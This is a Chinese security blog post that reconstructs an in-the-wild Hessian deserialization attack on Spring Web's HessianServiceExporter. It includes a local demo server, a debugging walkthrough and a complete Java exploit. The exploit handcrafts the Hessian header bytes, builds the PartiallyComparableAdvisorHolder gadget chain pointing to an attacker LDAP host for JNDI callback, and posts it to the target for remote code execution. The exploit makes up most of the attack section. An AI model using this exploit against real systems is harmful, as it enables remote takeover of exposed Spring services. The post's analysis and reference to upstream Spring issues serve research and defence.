spring web hessian反序列化payload构造

去年8月攻防演练去某单位协助应急的时候,看到某攻击队使用了某IAM身份认证系统Hessian反序列化 0day的漏洞的流量,一直想学习下Hessian相关的知识,尝试提取流量中的Payload进行武器化,但由于忙着天天当牛马就搁置了。在后面经过分析,推断是产品中使用了Spring-Web组件的Hessian相关接口导致的反序列化漏洞,然后网上并没有具体的数据包构造方式,于是在本地通过调式分析复现了这一攻击方式,可惜当时厂商连夜升级修复,早就无法复现,网络空间搜索引擎中找到部分资产也没有发现和客户环境一致的报错特征,只能当作一次虚空复现了。流量数据包长这样:image-20240929174010303

分析过程

根据数据包里的关键字明显可以判断是,PartiallyComparableAdvisorHolder利用链,于是尝试直接使用ysoserial生成payload发送,response body返回了如下错误image-20240929174034505

Google一下发现,这是Spring框架中对于Hessian RPC的支持中相关代码的报错信息,Spring Web包中存在一些对于远程方法调用的支持,代码在org.springframework.remoting包下,其中包括了对Hessian协议相关的支持。image-20240929174049148

所以payload报错的原因时Hessian数据包的格式有问题,这说明Spring Web的Hessian逻辑在处理数据包时,并不是直接调用的com.caucho.hessian.io.HessianInput#readObject(),有可能在之前存在一些处理逻辑,于是只能自己跟踪调试。

环境搭建

在Google的过程中,找了一个最简单的例子来搭建一个Spring Hessian RPC的Demo,具体代码如下:

Hessian服务端

首先我们搭建一个Hessian服务端,对外提供远程方法供客户端来调用,它包括如下部分:

  • 方法接口:作为Client和Server间的通信内容
  • 方法的具体实现:服务端是调用方法真正干活儿的人
  • 对外Web接口:任何知道接口url地址的人都可以作为Hessian客户端与服务器通信,只要发送的数据是POST数据包,以及满足Hessian协议相关的格式
  1. 服务端添加业务依赖和利用链依赖
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<dependencies>
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.62</version>
</dependency>

<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjweaver</artifactId>
<version>1.8.6</version>
</dependency>

<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<version>2.7.5</version>
</dependency>
</dependencies>
  1. 定义方法接口
1
2
3
public interface IHelloService {
String sayHello(String msg);
}
  1. 实现方法接口
1
2
3
4
5
6
7
@Service("helloService")
public class HelloServiceImpl implements IHelloService, Serializable {
@Override
public String sayHello(String msg) {
return "hello, "+msg;
}
}
  1. 启动Spring Boot,并设置方法url
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
@SpringBootApplication
public class Server {
@Autowired
private IHelloService helloService;

@Bean(name = "/hessian")
public HessianServiceExporter hessianServiceExporter() {
// 使用Spring的HessianServie做代理
HessianServiceExporter hessianServiceExporter = new HessianServiceExporter();
hessianServiceExporter.setService(helloService);
hessianServiceExporter.setServiceInterface(IHelloService.class);
return hessianServiceExporter;
}

public static void main(String[] args) {
SpringApplication.run(Server.class,args);
}
}

Hessian客户端

客户端通过接口规范来远程调用服务端上的指定方法,并收到结果

1
2
3
4
5
6
7
8
public class Client {
public static void main(String[] args) throws Exception{
String url = "http://192.168.112.136:8080/hessian";
HessianProxyFactory factory = new HessianProxyFactory();
IHelloService service = (IHelloService) factory.create(IHelloService.class, url);
System.out.println(service.sayHello("world!"));;
}
}

wireshark中也可以看到响应的流量

image-20240929174111995

调试分析

我们的目的是弄清楚服务端反序列化的过程,并尝试构造可用的Paylaod。根据网上的文章Hessian 反序列化知一二 | 素十八,我们将端点下在org.springframework.remoting.caucho.HessianExporter#doInvoke函数下,并调用Hessian Client发送正常的数据包,由此来跟踪整个服务端处理Payload的过程image-20240929174126419第一个字节的判断,这里的两个报错信息在客户环境复现时都遇到过,其实就是Hessian数据包开头的格式不对image-20240929174135839然后跟进com.caucho.hessian.server.HessianSkeleton#invoke(com.caucho.hessian.io.AbstractHessianInput, com.caucho.hessian.io.AbstractHessianOutput)相关方法image-20240929174146674

image-20240929174156902很明显可以看到,存在com.caucho.hessian.io.AbstractHessianInput#readObject(java.lang.Class),但由于这是正aa常的数据包,继续调试会发现,header返回为null,因此正常情况下是无法进入while循环并触发反序列化的。那么我就尝试需要手动构造hessian字节流,看是否能控制代码的逻辑判断让他走到readObject,为此需要调试的时候关注输入流的read函数。这里需要注意对于不确定的函数最好都点进去看下有无read操作避免遗漏,比如com.caucho.hessian.io.HessianInput#skipOptionalCallimage-20240929174206231最后是关键的com.caucho.hessian.io.HessianInput#readHeader函数,只要让他为72就会返回非null,后面还会再读俩字节计算一个不知道是啥东西的长度,我直接将这俩字节置为0。image-20240929174215958进而导致_chunkLength长度为0,最后返回空字符串(””),也就达到了header不为null的目的image-20240929174228725最后再调用com.caucho.hessian.io.HessianOutput#writeObject,写入期待已久的恶意的序列化对象数据即可,完整的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
package app;

import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.org.apache.xpath.internal.objects.XString;
import me.gv7.woodpecker.requests.Header;
import me.gv7.woodpecker.requests.Proxies;
import me.gv7.woodpecker.requests.RawResponse;
import me.gv7.woodpecker.requests.Requests;
import net.dongliu.commons.Hexes;
import org.apache.commons.logging.impl.NoOpLog;
import org.springframework.aop.aspectj.AbstractAspectJAdvice;
import org.springframework.aop.aspectj.AspectInstanceFactory;
import org.springframework.aop.aspectj.AspectJAroundAdvice;
import org.springframework.aop.aspectj.AspectJPointcutAdvisor;
import org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
import sun.net.www.http.HttpClient;
import sun.reflect.ReflectionFactory;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.net.Proxy;
import java.util.ArrayList;
import java.util.Base64;
import java.util.HashMap;

public class Hessian_SpringPartiallyComparableAdvisorHolder {
public static void main(String[] args) throws Exception {
// 首先是PartiallyComparableAdvisorHolder利用链的构造
String jndiUrl = "ldap://x.x.x.x:34567/a";
SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();
bf.setShareableResources(jndiUrl);

setFieldValue(bf, "logger", new NoOpLog());
setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog());
AspectInstanceFactory aif = createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);
setFieldValue(aif, "beanFactory", bf);
setFieldValue(aif, "name", jndiUrl);

AbstractAspectJAdvice advice = createWithoutConstructor(AspectJAroundAdvice.class);
setFieldValue(advice, "aspectInstanceFactory", aif);

AspectJPointcutAdvisor advisor = createWithoutConstructor(AspectJPointcutAdvisor.class);
setFieldValue(advisor, "advice", advice);

Class<?> pcahCl = Class.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder");
Object pcah = createWithoutConstructor(pcahCl);
setFieldValue(pcah, "advisor", advisor);

HotSwappableTargetSource v1 = new HotSwappableTargetSource(pcah);
HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString("xxx"));

HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(s, "table", tbl);

//序列化 启动!
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

// Hessian RPC协议
byteArrayOutputStream.write(99);// H
byteArrayOutputStream.write(2);// major
byteArrayOutputStream.write(0);// minor
// com.caucho.hessian.io.HessianInput.skipOptionalCall
byteArrayOutputStream.write(99);
byteArrayOutputStream.write(new byte[]{0,0});
// com.caucho.hessian.io.AbstractHessianInput.readHeader
byteArrayOutputStream.write(72);
byteArrayOutputStream.write(0);
byteArrayOutputStream.write(0);
// rce payload(hessian spring PartiallyComparableAdvisorHolder jndi利用链)
HessianOutput hessianOutput = new HessianOutput(byteArrayOutputStream);
// 设置hessian协议版本(1/2)
hessianOutput.setVersion(2);
// 设置允许反序列化非Serialize对象
hessianOutput.getSerializerFactory().setAllowNonSerializable(true);
hessianOutput.writeObject(s);
hessianOutput.flush();
byte[] bytes = byteArrayOutputStream.toByteArray();
// 使用woodpecker-request库发送payload
RawResponse response = Requests.post("http://192.168.112.136:8080/hessian")
.headers(new Header("Content-Type","application/hessian"))
.body(bytes)
.proxy(Proxies.httpProxy("127.0.0.1",8080))
.verify(false)
.timeout(10000)
.send();
}

public static void setFieldValue ( final Object obj, final String fieldName, final Object value ) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception {
try {
Field field = clazz.getDeclaredField(fieldName);
if ( field != null )
field.setAccessible(true);
else if ( clazz.getSuperclass() != null )
field = getField(clazz.getSuperclass(), fieldName);

return field;
}
catch ( NoSuchFieldException e ) {
if ( !clazz.getSuperclass().equals(Object.class) ) {
return getField(clazz.getSuperclass(), fieldName);
}
throw e;
}
}
public static <T> T createWithoutConstructor ( Class<T> classToInstantiate ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
}

VPS收到JNDI请求image-20240929174241418

挖坟

复现完成后觉得这种程度的漏洞网上搜不到感觉有点奇怪,于是去Spring Web的Github主页逛了下,发现了两个issue:

简单说就是20年的时候有人说HttpInvokerServiceExporter#readRemoteInvocation方法是不安全的,然而这是对外暴露远程方法的正常需求,而Java反序列化本身就是不安全,所以这个问题并没有修复方法,只能说不要让不可信的Hessian客户端调用Hessian服务端。所以是否会产生问题要取决于具体的使用场景。但官方也表示将会逐渐放弃对如下包的支持,其中就有本次的主角:image-20240929174251648从这里也能看出对于上游开发者来说,从安全的角度应该尽可能的覆盖,而不是将安全性取决与用户的使用方式,也就是默认安全原则,否则很可能会留下安全隐患,因为业务程序员一般不太想思考业务以外的问题,毕竟又不是不能用.jpg;但作为安全从业者,我只想说:好好好,多来点。